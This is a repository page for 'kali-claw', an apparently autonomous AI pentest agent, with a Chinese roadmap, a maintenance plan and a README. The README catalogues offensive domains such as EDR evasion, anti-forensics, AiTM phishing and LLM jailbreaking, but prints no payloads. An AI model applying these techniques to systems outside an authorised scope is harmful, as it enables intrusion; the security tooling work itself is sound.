    • mobile-security
    • multi-agent-collaboration
    • multi-agent-runtime-engineering

    Batch 8 — 网络与后量子（10 个）

    • network-sniffing-mitm
    • network-tunneling-proxy
    • open-banking-attack
    • pam-privilege-attack
    • patch-to-poc-pipeline
    • payload-generation
    • payment-security
    • pentest-reporting
    • physical-security-testing
    • post-quantum-migration-attack

    Batch 9 — 协议与量子（10 个）

    • protocol-state-exploitation
    • quantum-crypto-attack
    • recon-osint
    • red-team-infrastructure
    • repo-scan
    • reverse-engineering-advanced
    • safety-guard
    • sase-sse-attack
    • satellite-leo-security
    • scada-ics-security

    Batch 10 — 剩余（5 个 + 缺 Defense 的 17 个补齐）

    • sdr-rf-attack
    • search-first
    • secret-management-attack
    • security-bounty-hunter
    • security-misconfiguration
    • 17 个缺 Defense Perspective 的非核心 SKILLs（详见 SKILL_REMEDIATION_LIST.json）

    📈 进度统计

    批次完成 / 总数状态
    Batch 10/10⬜ 待启动
    Batch 20/10⬜
    Batch 30/10⬜
    Batch 40/10⬜
    Batch 50/10⬜
    Batch 60/10⬜
    Batch 70/10⬜
    Batch 80/10⬜
    Batch 90/10⬜
    Batch 100/22⬜
    总计0/1120%

    🔧 标准化 SOP

    单 SKILL 工作流（约 15-20 分钟）

    1. 扫描状态 (2 min)
   python3 -c "import re; c=open('skills/<skill>/SKILL.md').read(); print('residue:', len(re.findall(r'[a-z][一-鿿]|[一-鿿][a-z]', c)))"
   grep -c "^## Detection Methods" skills/<skill>/SKILL.md
   grep -c "^## Defense Evasion Techniques" skills/<skill>/SKILL.md

2. 应用修复 (10-15 min)
   - 修复翻译残留
   - 添加 Detection Methods (3-5 类)
   - 添加 Defense Evasion Techniques (3-5 类)
   - 更新 version 到 0.2.0.2
   - 添加 last_reviewed 元数据

3. 验证 (1 min)
   python3 validation/update-skill-standard.py --skill <name>

    批量提交工作流

    # 完成一批 10 个 SKILLs 后：
git add skills/<batch-skills>/
git commit -m "refactor: Phase 2 batch N - standardize 10 SKILLs

- Add Detection Methods + Defense Evasion Techniques sections
- Fix translation residue
- Bump version to v0.2.0.2
- Add last_reviewed metadata

Batch N: <skill-list>"

    Push 工作流

    # 直接 push（不再需要轻量分支，packfile 应该很小）
git push origin phase2/standardization

# 每周或完成所有 batches 后创建 PR 合并到 main
gh pr create --title "Phase 2: standardize 95 SKILLs" \
  --base main --head phase2/standardization

    📝 备注

    • 此文件用于跟踪 Phase 2 进度，每次完成一批后更新复选框
    • 完成全部 10 个批次后，此文件可保留作为 Phase 2 完成记录
    • 如某 SKILL 已通过 Phase 1 处理（不太可能），跳过即可
  • kali-claw-pentest-agent/PHASE2_ROADMAP.mdmarkdown · 7.2 KB

    kali-claw 持续维护路线图

    规划日期：2026-08-06（v0.2.4 更新于 2026-08-08；替代原 v0.2.1 版本，原 Track 2 xAgent 内容已转移） 当前版本：v0.2.4（skill-lint 0 errors / 0 warnings，139/139 clean pass） 维护节奏：月度质量审查 + 季度工具基线 + 年度战略评估 仓库定位：kali-claw 是 专注的 SKILL 库维护者（single-responsibility）

    一、维护定位

    kali-claw 是基于 OpenClaw 框架构建的 AI 渗透测试智能体工作空间，覆盖 139 个安全技能域，掌握 Kali Linux 2025-2 全部 518 款安全工具。

    经过 Phase 1 全量构建（v0.1.x → v0.2.1，2026-03 ~ 2026-07）和 Phase 2 Track 1 月度质量审查 + Minor Release（v0.2.2 / v0.2.3 / v0.2.3.1-3 / v0.2.4，2026-08），仓库已达到稳定维护状态：

    • 139/139 SKILL 通过严格化 linter 检查（0 errors, 0 warnings）
    • Defense Triple 三件套结构性 100% 合规（122 严格匹配 + 15 显式豁免）
    • 翻译残留清零；frontmatter 100% 合规；自动化工具链成熟

    单一职责：维护好这 137 个 SKILL，使其持续反映现代攻击技术、防御检测规则、和 Kali 工具生态的最新状态。

    Note on xAgent (2026-08-06)：早期版本的 PHASE2_ROADMAP 包含 "Track 2: xAgent 项目启动" 章节，规划将 SKILL 转化为可交付 agent。该工作已转移到独立仓库另行维护。本仓库不再承担 agent runtime / rcogo 集成 / 多 agent 协作等工程工作。历史 RELEASE / CHANGELOG / chronicle 中的 xAgent 引用保留作为时间快照。

    二、维护节奏

    周期任务工具预估工时
    月度SKILL 质量审查skill-lint.py + validate-payloads.py + validate-testcases.py≤2h
    季度工具版本基线更新扫描 SKILL → 查询 Kali 版本 → 更新 KALI_TOOLS_BASELINE_*.md4h
    半年Defense Triple 完整性审计全量 skill-lint.py --json + 内容质量抽样8h
    年度战略评估 + 新域规划市场分析 + 新 SKILL 候选评估16h

    月度审查 SOP

    1. 运行 python3 validation/skill-lint.py --json > /tmp/lint-YYYY-MM-DD.json
    2. 检查 summary：errors 必须 0；warnings 目标 0
    3. 如有 INFO 级 finding 升级或降级，评估是否需要规则调整
    4. 抽样审查 5 个 SKILL 的 Defense Perspective 内容质量（不只是结构存在）
    5. 处理 GitHub Issues / PR（如有）
    6. 写 chronicle 记录（chronicle/YYYY-MM/skill-review-YYYY-MM-DD.md）
    7. 不发布新版本号（除非有非平凡变更）

    季度工具基线更新 SOP

    1. 扫描 137 SKILL 中引用的工具列表
    2. 查询 Kali Linux 当前版本（apt show <tool> 或官网）
    3. 对比 KALI_TOOLS_BASELINE_2026_07.md，标记版本漂移
    4. 更新基线文件并发布 RELEASE-vX.Y.Z.md
    5. 同步更新相关 SKILL 的 last_reviewed 字段

    三、2026-Q3 / Q4 计划

    月度质量审查

    日期内容预估
    2026-09-05第 1 次月度审查（v0.2.4 后首次）≤2h
    2026-10-05第 2 次月度审查 + Q4 工具基线6h
    2026-11-05第 3 次月度审查≤2h
    2026-12-05第 4 次月度审查 + 年度战略评估18h

    季度工具基线

    季度任务备注
    2026-Q4 (10 月)更新 KALI_TOOLS_BASELINE_2026_07.md → 2026_10.md首次季度更新
    2027-Q1 (1 月)季度更新 + 半年 Defense Triple 审计半年节点

    年度战略评估

    • 2026-12：评估是否需要新增 SKILL 域（基于市场变化、新攻击技术、新合规要求）
    • 候选评估方向：
      • AI 安全法规（EU AI Act、NIST AI RMF）
      • 5G/6G 攻击演进
      • 量子安全迁移最新进展
      • 新型 side-channel 攻击向量

    四、关键工具与流程

    自动化校验脚本（validation/）

    脚本用途触发频率
    skill-lint.pySKILL.md 质量检查（YAML / sections / Defense Triple / 翻译残留）月度
    validate-payloads.pyPayloads 内容验证季度
    validate-testcases.pyTest cases 结构验证季度
    update-skill-standard.py单 SKILL 标准对齐按需
    auto-backup.sh仓库备份每次修改前
    drift-detect.sh配置漂移检测季度
    heartbeat.sh工作区健康检查月度

    CI/CD（GitHub Actions）

    • .github/workflows/skill-quality.yml
      • Lint job：skill-lint + validate-payloads + validate-testcases（每个 PR 必跑）
      • Score job：SCORE.sh + batch-improve + quality gate
      • PR 检查：lint 通过 + score 不退化

    文档体系

    文档用途
    CLAUDE.md开发指南（项目结构 + 编辑规范）
    docs/SKILL_HANDBOOK.md137 SKILL 完整使用手册
    docs/SKILL_MAINTENANCE.mdSKILL 创建 / 更新 / FAQ
    docs/QUICK_REFERENCE.md速查表（29 个渗透场景）
    docs/SKILL_INDEX.json机器可读 SKILL 索引
    MEMORY.md长期决策记录
    chronicle/YYYY-MM/*.md月度事件记录

    五、成功指标

    月度审查通过标准

    • skill-lint errors = 0
    • skill-lint warnings = 0（允许 INFO 级 finding）
    • 文档与实际 SKILL 库一致（VERSION / README / CLAUDE / AGENTS）
    • GitHub Issues 响应 < 48h（如有）

    季度工具基线完成标准

    • 所有 137 SKILL 中引用的工具已核对版本
    • KALI_TOOLS_BASELINE_*.md 更新并发布
    • 重大版本变更（如 nmap 7.9x → 8.0x）有 RELEASE 说明

    年度战略评估产出

    • 新 SKILL 候选清单（基于市场调研）
    • 老 SKILL 退役评估（如有过时域）
    • 下一年度维护节奏调整（如需要）

    六、风险与对策

    风险概率影响对策
    Kali Linux 重大版本升级（如 2026.4 → 2027.1）破坏工具引用中中季度基线更新时统一核对；保留旧 baseline 文件作为参考
    Linter 规则演进引入误报低低通过 INFO 级 finding + defense_triple_required 等字段保持弹性
    SKILL 内容老化（攻击技术演进）中中半年 Defense Triple 审计时抽样核对前 20 个高频 SKILL 的时效性
    仓库增长导致克隆/CI 变慢低低已经从 v0.1.x 时代的 3.7GB 降到 v0.2.x 的 ~50MB；持续监控
    单一维护者精力波动中低月度审查工时严格控制在 ≤2h；自动化优先

    七、立即行动项

    下次月度审查（2026-09-05）

    □ 运行 skill-lint + validate-payloads + validate-testcases
□ 抽样审查 5 个 SKILL Defense Perspective 内容质量
□ 检查 GitHub Issues（如有）
□ 写 chronicle/2026-09/skill-review-2026-09-05.md
□ 不发布新版本（除非有非平凡变更）

    季度准备（2026-10）

    □ 扫描 137 SKILL 中所有工具引用
□ 查询 Kali Linux 2026.4 版本工具列表
□ 对比 KALI_TOOLS_BASELINE_2026_07.md
□ 更新基线 + 发布 RELEASE-vX.Y.Z.md

    规划日期：2026-08-06 下次审查：2026-09-05 维护模式：轻量级月度审查 + 季度工具基线 + 年度战略评估

  • kali-claw-pentest-agent/README.mdmarkdown · 45.2 KB

    kali-claw

    An AI-powered penetration testing agent built on Kali Linux, mastering all 518 security tools through continuous self-directed learning.

    kali-claw is a self-evolving security agent from the OpenClaw project. It operates 24/7 on Kali Linux, systematically learning and practicing penetration testing across 139 security domains. It thinks like a hacker — first principles, divergent thinking, assume breach — and acts like a senior engineer: direct, hands-on, results-driven.

    Current Version: v0.3.5 (2026-09-09) — 全量验证与完整性排序（139 技能三轴验证；语法错误块 102→0；排名报告上线；skill-lint 0/0/139）。详见 RELEASE-v0.3.5.md。

    Features

    • 139 Security Skill Domains — From OSINT and web exploitation to cloud security + cloud-identity (Entra ID/Okta/Auth0), AI/LLM security (LLM red team + AI agent security + agentic pentest), exploit development, hardware/embedded systems, Bluetooth/RFID/NFC, SCADA/ICS, firmware reverse engineering, VoIP/SIP, database attacks, Active Directory/LDAP attacks, anti-forensics, username-based OSINT dossier generation (Maigret), dark-web intelligence, threat hunting + defensive deception (honeypots) + detection engineering, blockchain/Web3 security, payment security (PCI-DSS), Kubernetes red team, secret-management attack (SAST/secrets), IoT application-layer pentest, physical security testing (locks/badges/USB weapons), quantum/post-quantum/national crypto attacks, deep phishing infrastructure (AiTM/gateway bypass), 5G telecom attack (PFCP/GTP/IMSI catchers/O-RAN), automotive vehicle security (CAN/UDS/key fobs/EV charging), mobile app instrumentation (Frida/Objection/r2frida), cloud-native vulnerability research (CVE methodology/PoC reproduction/nuclei templates), macOS security (SIP/TCC/ESF/Keychain/Apple Silicon), UAV/drone security (MAVLink/PX4/GPS spoofing/DroneID), game anti-cheat bypass (EAC/BattlEye/Vanguard/BYOVD), mainframe security (z/OS/RACF/CICS/DB2/JES2), ICS fieldbus attack (Profibus/DNP3/IEC 61850/IEC 60870-5/EtherCAT/PROFINET), HF/VHF radio attack (ADS-B/AIS/ACARS/POCSAG/APRS), blockchain L2 attack (Lightning Network/Optimism/Arbitrum/zkSync/cross-chain bridges), embedded RTOS security (VxWorks/QNX/FreeRTOS/ThreadX/Zephyr), storage/SAN attack (iSCSI/FC/NFSv4/SMB3/S3/NetApp/Dell EMC/QNAP), hypervisor introspection (VMware ESXi/Hyper-V/KVM/Xen/LibVMI/DRAKVUF/VENOM), satellite/LEO security (Starlink/Iridium/Viasat KA-SAT/DVB-S2/VSAT), AD CS abuse (ESC1-ESC15/PetitPotam/Certifried/Certipy), CI/CD supply chain attack (Jenkins/GitLab CI/GitHub Actions/xz-utils/SolarWinds), PAM privilege attack (CyberArk/BeyondTrust/Delinea/ManageEngine), CSPM/CASB attack (Wiz/Prisma Cloud/Netskope/OPA/Kyverno policy bypass), SASE/SSE attack (Zscaler ZIA/ZPA, Netskope, Cloudflare One, Cisco Umbrella), EU AI Act compliance red team (Article 9 / Annex IV / Notified Body audit), and AI agent supply chain attack (Hugging Face / Pickle RCE / LangChain plugin backdoors / model weight steganography), each with structured payloads, test cases, and learning guides
    • Defense Triple Coverage — All 139 SKILLs include Defense Perspective (table format) + Detection Methods (with SIEM rules: Sigma/Splunk SPL/Sysmon/Falco) + Defense Evasion Techniques — 100% coverage
    • 12 Hacker Laws — Core behavioral guidelines derived from real-world security philosophy
    • Layered Memory System — Daily logs + distilled long-term memory + monthly chronicles for persistent knowledge across sessions
    • Heartbeat Task Framework — Automated health checks, security scans, learning progress tracking, and knowledge maintenance
    • Fully Reusable — Copy the workspace, change 4 files, and you have a new security agent

    Guides

    Usage Guide

    LanguageFile
    中文GUIDE-OPENCLAW-zh.md
    EnglishGUIDE-OPENCLAW-en.md

    Migration Guides

    kali-claw is a portable skill package — you can use it with multiple AI agent platforms:

    Platform中文English
    Hermes AgentGUIDE-HERMES-zh.mdGUIDE-HERMES-en.md
    Claude CodeGUIDE-CLAUDECODE-zh.mdGUIDE-CLAUDECODE-en.md
    OpenAI Codex CLIGUIDE-CODEX-zh.mdGUIDE-CODEX-en.md
    OpenCodeGUIDE-OPENCODE-zh.mdGUIDE-OPENCODE-en.md

    New to OpenClaw? Start with the usage guide — it covers everything from installation to your first penetration test.

    Quick Start

    Prerequisites

    • OpenClaw installed and configured
    • Recommended: Kali Linux environment — either install OpenClaw directly on Kali Linux, or provide SSH access from your OpenClaw host to a Kali Linux machine so kali-claw can execute security tools remotely

    1. Install OpenClaw

    npm install -g openclaw@latest

    See the official documentation for detailed installation and configuration options.

    2. Create a dedicated agent

    It is not recommended to use the main agent directly. Create a dedicated agent for this workspace:

    openclaw agents add kali-claw --workspace ~/.openclaw/workspace-kali-claw

    This creates an isolated agent with its own workspace, auth, and routing. See openclaw agents for full options including --model, --bind, and --non-interactive.

    3. Clone this repository into the workspace

    cd ~/.openclaw/workspace-kali-claw/
git clone https://github.com/<repo-path>.git .

    The agent will automatically read SOUL.md, AGENTS.md, USER.md, and MEMORY.md on startup to initialize its identity and context.

    4. Start the agent

    openclaw gateway start

    Then interact with kali-claw:

    > Scan target 192.168.1.100 with nmap for open ports and services
> Teach me how SQL injection works with hands-on examples
> Run an OSINT reconnaissance on example.com

    How It Works

    Architecture

    kali-claw/
├── SOUL.md              # Identity + 12 Hacker Laws (the agent's personality)
├── AGENTS.md            # Workspace config + session startup sequence
├── IDENTITY.md          # Skill tags + personality traits
├── USER.md              # Captain (user) profile
├── MEMORY.md            # Long-term distilled knowledge
├── TOOLS.md             # Tool quick reference + learning progress
├── HEARTBEAT.md         # Periodic heartbeat task framework
├── skills/              # 139 security skill domains (v0.2.0.2)
│   ├── api-security/
│   │   ├── SKILL.md         # Skill definition + Defense Triple (Defense Perspective + Detection Methods + Defense Evasion)
│   │   ├── payloads.md      # Attack payloads
│   │   ├── test-cases.md    # Structured test cases
│   │   └── guides/          # Deep-dive learning guides
│   ├── web-sqli/
│   ├── web-xss/
│   ├── cloud-security/
│   └── ... (139 domains total)
├── memory/              # Daily memory logs (YYYY-MM-DD.md)
├── chronicle/           # Monthly chronicle of major events
├── bak/                 # Automatic backups
└── README.md            # This file

    Session Lifecycle

    Every time the agent starts a new session:

    1. Read SOUL.md — Load identity and hacker laws
    2. Read USER.md — Understand who it's helping
    3. Read recent memory — Get context from today and yesterday
    4. Read MEMORY.md — Load long-term distilled knowledge

    The agent wakes up fresh each session but carries continuity through its file-based memory system.

    Memory System

    LayerFilePurpose
    Dailymemory/YYYY-MM-DD.mdRaw activity logs for the day
    Long-termMEMORY.mdDistilled knowledge, key decisions, lessons learned
    Chroniclechronicle/YYYY-MM/*.mdMonthly record of major events

    Knowledge flows upward: daily logs are regularly distilled into MEMORY.md, and major milestones are recorded in the chronicle.

    Security Skills

    37 domains organized by the OWASP and MITRE frameworks + 12 additional domains (knowledge operations, AI/LLM, hardware, multi-agent, MCP, bounty hunting, etc.) + 23 expanded domains (exploit development, privilege escalation, payload generation, AV/EDR evasion, DNS attacks, web XXE, file inclusion, CMS attack, steganography, network sniffing & MITM, Bluetooth/RFID/NFC, network tunneling & proxy, firmware reverse, SCADA/ICS security, database attack, VoIP/SIP attack, anti-forensics, pentest reporting, engagement manager, tool mastery, AD/LDAP attack, web deserialization, email protocol attack):

    DomainDescriptionKey Topics
    api-securityAPI security testingREST/GraphQL testing, auth bypass, rate limiting
    binary-reverseBinary analysis & reverse engineeringradare2, exploit development, malware analysis
    cloud-securityCloud platform securityAWS/Azure/GCP, IAM, S3 exposure, metadata attacks
    container-securityContainer & K8s securityDocker escape, K8s RBAC, image scanning
    crypto-attacksCryptographic vulnerability testingWeak algorithms, certificate issues, padding oracle
    digital-forensicsDigital forensicsDisk analysis, memory forensics, network forensics
    insecure-designInsecure design detectionThreat modeling, abuse cases, design patterns
    logging-monitoringLogging & monitoring securityLog injection, detection evasion, SIEM bypass
    mobile-securityMobile application securityAndroid/iOS testing, certificate pinning, data leakage
    network-pentestNetwork penetration testingScanning, exploitation, lateral movement
    osintOpen source intelligencePeople search, domain recon, data aggregation
    password-attackPassword attack techniquesDictionary attacks, hash cracking, rule-based brute force
    post-exploitationPost-exploitation operationsPersistence, privilege escalation, data exfiltration
    recon-osintReconnaissance & OSINTSubdomain enum, port scanning, technology fingerprinting
    security-misconfigurationSecurity misconfiguration detectionDefault creds, verbose errors, directory listing
    social-engineeringSocial engineeringPhishing, pretexting, baiting techniques
    social-intelligenceSocial platform intelligenceReddit/HN/X/YouTube OSINT, community sentiment, target profiling, dark web monitoring
    supply-chain-securitySoftware supply chain securityDependency attacks, CI/CD poisoning, integrity verification
    vulnerability-assessmentVulnerability assessmentAutomated scanning, manual testing, risk rating
    web-access-controlBroken access controlIDOR, privilege escalation, forced browsing
    web-auth-bypassAuthentication bypassBrute force, session attacks, OAuth flaws
    web-sqliSQL injectionUnion-based, blind, time-based, double query
    web-ssrfServer-Side Request ForgeryInternal scanning, cloud metadata, protocol smuggling
    web-xssCross-Site ScriptingReflected, stored, DOM-based, CSP bypass
    wifi-pentestWiFi penetration testingWPA cracking, WPS attacks, evil twin
    chronicleChronicle systemEvent logging, milestone tracking
    deep-researchMulti-source intelligence researchCVE deep-dive, threat actor profiling, attack technique investigation, continuous monitoring, intelligence correlation, cited reports
    security-bounty-hunterBug bounty vulnerability huntingExploitable vulnerability discovery, PoC development, responsible disclosure reporting
    terminal-opsEvidence-first terminal operationsStructured command execution, evidence chain protocol, verified state tracking
    search-firstResearch before exploitExploit/tool search workflow, existing solution discovery, decision matrix
    security-reviewComprehensive security reviewOWASP Top 10 checklist, source code audit, configuration review, dependency scanning
    repo-scanCross-stack source code auditFile classification, library detection, module verdicts, security hotspot analysis
    verification-loopMulti-phase finding verificationExploit confirmation, false positive elimination, independent reproduction, evidence documentation
    codebase-onboardingRapid codebase intelligence3 scope modes (Targeted/Exploratory/Comprehensive), language tier matrix, confidence scoring, architecture pattern recognition, 100M+ LOC strategy
    knowledge-opsKnowledge graph managementEntity extraction, cross-session aggregation, confidence tracking, graph visualization, pattern intelligence
    article-writingSecurity content creationPentest reports, CVE disclosures, blog posts, CVSS scoring, sanitization, evidence documentation
    browser-qaAutomated browser testingPlaywright/Puppeteer, network monitoring, cookie analysis, CSRF detection, XSS payload injection
    data-scraper-agentStructured data collectionCVE scraping, exploit DB search, threat intel feeds, GitHub advisories, HTML parsing
    exa-searchSemantic security researchContext-aware queries, date filtering, domain filtering, full-text extraction, API integration
    ai-fuzzingAI-assisted vulnerability discoveryCoverage-guided fuzzing, AFL++/libFuzzer/Honggfuzz, crash triage, Web API fuzzing, protocol fuzzing
    councilMulti-perspective security analysisAttack/defense/audit viewpoints, decision matrix, risk assessment, consensus building
    autonomous-loopsSafe autonomous execution patternsSequential pipeline, watch loop, batch processing, learning cycle, scope locks
    continuous-learningEngagement knowledge extractionPattern detection, confidence scoring, cross-reference linking, memory layering
    docker-patternsDocker security testing labsVulnerable app labs, network labs, attack chain labs, disposable testing
    safety-guardSafety enforcement layerScope checking, dangerous command interception, incident response, engagement rules
    bluetooth-rfid-nfcBluetooth/BLE/RFID/NFC attacksDevice discovery, BLE GATT exploitation, MIFARE cracking, NFC cloning
    network-tunneling-proxyNetwork tunneling & proxyingSSH/HTTP tunneling, DNS/ICMP covert tunnels, SOCKS proxy chains, pivoting
    firmware-reverseFirmware reverse engineeringExtraction, filesystem analysis, QEMU emulation, backdoor detection
    scada-ics-securitySCADA/ICS security assessmentModbus, S7comm, EtherNet/IP, OPC UA, PLC enumeration, honeypots
    database-attackDatabase server attacksOracle TNS, Redis/MongoDB unauth, brute-force, stored procedures
    voip-sip-attackVoIP/SIP protocol attacksSIP enumeration, eavesdropping, VLAN hopping, DoS
    anti-forensicsAnti-forensic techniquesSecure deletion, log tampering, timestamp manipulation, steganographic hiding
    pentest-reportingPentest reporting & evidenceDradis, Faraday, screenshot capture, password analysis, evidence management
    ad-ldap-attackEnterpriseActive Directory/LDAP/Kerberos attacks, domain reconnaissance, Kerberos exploitation (AS-REP Roasting, Kerberoasting, Golden/Silver Tickets), DCSync, Pass-the-Hash, lateral movement, domain dominance
    web-deserializationWeb AttackJava/PHP/.NET deserialization, ysoserial, phpggc, gadget chains, blind detection, RCE
    email-protocol-attackNetworkSMTP enumeration, email forgery, SPF/DKIM/DMARC bypass, IMAP/Exchange attacks
    username-profilingOSINTMaigret single-username dossier, cross-platform account discovery (3,000+ sites), recursive pivot, identity graph
    darkweb-intelOSINTTor/onion hidden-service enumeration, dark-net marketplace intelligence, leak-site monitoring, actor attribution
    threat-huntingDefenseHypothesis-driven hunts, SIEM/EDR telemetry pivoting, ATT&CK detection engineering, purple-team validation
    blockchain-web3BlockchainSmart-contract auditing, DeFi exploit chains, wallet/key management, bridge/oracle attacks
    payment-securityFinancialPCI-DSS assessment, card-data flow, 3DS/SAML SSO, fraud detection, webhook signing
    llm-red-teamAI Red TeamLLM/generative AI red team: prompt injection, jailbreaking, model extraction, RAG poisoning, agent tool abuse
    deception-honeypotDefenseDefensive deception: SSH/web/ICS/AI honeypots, honeytokens, canary deployment, IOC extraction
    kubernetes-attackCloud-NativeK8s red team: RBAC abuse, pod escape, SA token theft, etcd attacks, EKS/GKE/AKS pivot
    secret-management-attackAppSecSecrets/SAST: gitleaks, semgrep, trufflehog, infisical, Vault/CI-CD/registry exploitation
    ai-agent-securityAI EmergingOffensive AI agent testing: MCP tool poisoning, indirect prompt injection, RAG poisoning, agent sandbox escape
    iot-pentestIoTIoT application-layer: MQTT broker abuse, CoAP attacks, AMQP, cloud IoT backends, mobile companion
    detection-engineeringDefenseDetection-as-code: Sigma rules, YARA signatures, SPL/KQL/EQL, ATT&CK mapping, FP tuning
    agentic-pentestAI MetaLLM-driven autonomous pentest: PentestGPT, HexStrike, Viper, multi-agent team coordination, HITL
    cloud-identity-attackEnterprise CloudAzure AD/Entra ID, Okta, Auth0, Ping federation abuse, OAuth token theft, SAML forgery, CA bypass, MFA fatigue
    physical-security-testingPhysicalLock bypass (pin/tubular/wafer), RFID/NFC badge cloning, USB weapons (Ducky/Bunny), drop boxes, on-site ops
    quantum-crypto-attackCryptographyPost-quantum migration risks, NIST PQC, hybrid TLS, QKD/BB84, SM2/SM3/SM4 国密, lattice side-channel
    email-security-deepAppSecAiTM phishing infra (evilginx2/modlishka), gateway bypass (Proofpoint/Mimecast/Cisco ESA), MFA bypass, email bombing

    Each skill contains:

    • SKILL.md — Description, use cases, tools, and workflow
    • payloads.md — Curated attack payloads and testing commands
    • test-cases.md — Structured test cases with steps and expected results
    • guides/ — Deep-dive learning guides with hands-on exercises

    The 12 Hacker Laws

    These laws define how kali-claw thinks and acts:

    1. First Principles Thinking — Reason from fundamental facts, not tools or assumptions
    2. Divergent Thinking First — Always consider 3+ approaches before choosing
    3. Minimize Attack Surface — Less exposure = less risk
    4. Defense in Depth — Never rely on a single security layer
    5. Least Privilege — Grant only necessary access
    6. Assume Breach — Design as if the attacker is already inside
    7. Obscurity Is Not Security — Security through design, not hiding
    8. Trust but Verify — Validate all inputs unconditionally
    9. Information Wants to Be Free — Share knowledge, protect sensitive data
    10. Skill Over Credentials — Judge by capability, not title
    11. The Weakest Link Is Human — Always consider the human factor
    12. Murphy's Security Law — If it can be exploited, it will be

    Creating a New Agent

    To create a different security agent based on this workspace:

    1. Copy the workspace

    cp -r kali-claw/ <new-agent-name>/
cd <new-agent-name>/

    2. Modify these 4 files

    FileWhat to Change
    AGENTS.md"Agent Config" block: name, environment, role, specialty
    IDENTITY.mdName, role description, skill tags, personality traits
    SOUL.mdNickname and role description in "Identity" section
    USER.mdCaptain information

    3. Clean up historical data

    rm -f memory/*.md memory/alerts.txt
rm -rf chronicle/

    4. Keep unchanged

    The following are universal and reusable as-is:

    • Hacker Laws in SOUL.md — applies to all security agents
    • Heartbeat framework in HEARTBEAT.md
    • All 91 skills in skills/
    • All guides in skills/*/guides/

    Example: Web Security Agent

    AGENTS.md:
  Agent Name: web-hunter
  Role: Web Security Researcher
  Specialty: Web penetration testing + vulnerability discovery

IDENTITY.md:
  Name: web-hunter
  Skill tags: Keep Web Security rows, simplify others

SOUL.md:
  Nickname: web-hunter
  Keep hacker laws unchanged

    Example: Cloud Security Agent

    AGENTS.md:
  Agent Name: cloud-sentinel
  Role: Cloud Security Auditor
  Specialty: AWS/Azure/GCP security + Container security

IDENTITY.md:
  Name: cloud-sentinel
  Skill tags: Focus on cloud security and container security

TOOLS.md:
  Core tools: pacu, scoutsuite, kubeaudit, trivy

    Roadmap

    Completed

    VersionDateMilestoneKey Changes
    v0.1.32026-05-14FoundationTier 1 skills (codebase-onboarding, knowledge-ops)
    v0.1.42026-05-14ExpansionTier 2 skills (article-writing, browser-qa, data-scraper-agent, exa-search)
    v0.1.52026-05-14Frontier DomainsAdded AI Fuzzing + Council; three-perspective framework (Attack/Defense/Audit)
    v0.1.62026-05-14Infrastructure Ops10 infrastructure skills enriched (FULL/PARTIAL/MINIMAL strategy)
    v0.1.72026-05-1649 DomainsAdded AI Security, Hardware Security, Multi-Agent Collaboration, MCP Server Patterns (45→49)
    v0.1.82026-05-22Full EnrichmentAll 49 skills at FULL enrichment (SKILL.md + payloads + test-cases + guides)
    v0.1.92026-05-22Validation InfraPractice validation: 49 test cases, execution playbook, 5-level status system
    v0.1.102026-05-22Integration Tests7 cross-skill integration scenarios, all PASS (recon→exploit→verify→report pipelines)
    v0.1.112026-05-23Quality ScoringAutomated SCORE.sh (7 metrics, 4 components); baseline: 22 Weak, 25 Adequate, 2 Strong
    v0.1.122026-05-25First Improvement16 guides added; Weak 22→9, Strong 2→20, Excellent 0→2; avg 40.5→50.5
    v0.1.132026-05-29Zero WeakAll 49 skills Adequate or above; avg 59.4, median 59.2
    v0.1.142026-05-30100% Excellent49/49 Excellent, avg 84.0, min 80.0, max 90.3; CI quality gate; 10 integration tests
    v0.1.152026-05-31Solid Excellentavg 88.6, min 85.3, max 99.7; 18 SKILL.md expanded, 20 TC added, 26 payloads to 50+ blocks
    v0.1.162026-06-02Infrastructure + Scoring v2Scoring v2 (guide quality, score caps, Distinguished tier); core files synced to 49 domains; 5 cross-skill attack chain scenarios; TEMPLATE.md
    v0.1.172026-06-03Bottom Reinforcement + Distinguished Sprint + Automation45 new guides; 15 key sections fixed; avg 87.5, min 84.3; cloud-security 91.2 (near Distinguished); 7 automation scripts; 2 new skill domains (engagement-manager, tool-mastery); decision trees; multi-agent collaboration
    v0.1.182026-06-0410 New Skill Domains10 new skills (exploit-dev, privilege-escalation, payload-gen, av-edr-evasion, dns-attacks, web-xxe, file-inclusion, cms-attack, network-sniffing-mitm, steganography); 72 new tool references; 51→61 domains
    v0.1.192026-06-098 New Blank-Coverage Domains8 new skills (bluetooth-rfid-nfc, network-tunneling-proxy, firmware-reverse, scada-ics-security, database-attack, voip-sip-attack, anti-forensics, pentest-reporting); 70 new tool references; 61→69 domains
    v0.1.202026-06-10+1 domain (ad-ldap-attack), 70/70 Excellent (100%)+1 domain (ad-ldap-attack), 70/70 Excellent (100%), avg 86.5
    v0.1.212026-06-10+2 domains (web-deserialization, email-protocol-attack), first Distinguished (network-pentest 92.0), avg 86.9+2 domains (web-deserialization, email-protocol-attack), first Distinguished (network-pentest 92.0), avg 86.9
    v0.1.222026-06-10+2 domains (sdr-rf-attack, vpn-attack), 2 Distinguished, avg 87.0+2 domains (sdr-rf-attack, vpn-attack); Distinguished sprint: cloud-security 92.1; 72→74 domains
    v0.1.232026-06-105 Distinguished milestone, guide quality sprintarticle-writing 93.6, vulnerability-assessment 93.0, autonomous-loops 92.6; 12 guides expanded; avg 87.0
    v0.1.242026-06-108 Distinguished milestone, Distinguished sprint + bottom lift+3 Distinguished (osint 92.5, social-intelligence 93.8, verification-loop 92.6); 5 bottom skills lifted; avg 87.3
    v0.1.252026-06-1011 Distinguished milestone, Distinguished sprint + bottom lift+3 Distinguished (security-misconfiguration 92.8, security-bounty-hunter 92.0, web-xss 92.0); 3 bottom skills lifted (+6 avg); avg 87.7
    v0.1.262026-06-1115 Distinguished milestone, Distinguished sprint + bottom lift+4 Distinguished (payload-generation 93.1, vpn-attack 92.5, network-tunneling-proxy 92.3, web-deserialization 92.2); avg 88.0
    v0.1.272026-06-1117 Distinguished milestone, Distinguished sprint + bottom lift+2 Distinguished (scada-ics-security 93.0, council 92.3); 3 bottom skills lifted; avg 88.2
    v0.1.282026-06-16Domain expansion: +4 new skill domains (75→79)+4 domains (darkweb-intel, threat-hunting, blockchain-web3, payment-security); first defensive skill (threat-hunting); first financial skill (payment-security); first blockchain skill (blockchain-web3); 75→79 domains
    v0.1.292026-06-17GitHub-trending expansion: +4 new skill domains (79→83)+4 domains (llm-red-team, deception-honeypot, kubernetes-attack, secret-management-attack); driven by GitHub open-source analysis (150k+ cumulative stars); 8 new skills scored (v0.1.28 + v0.1.29); 79→83 domains
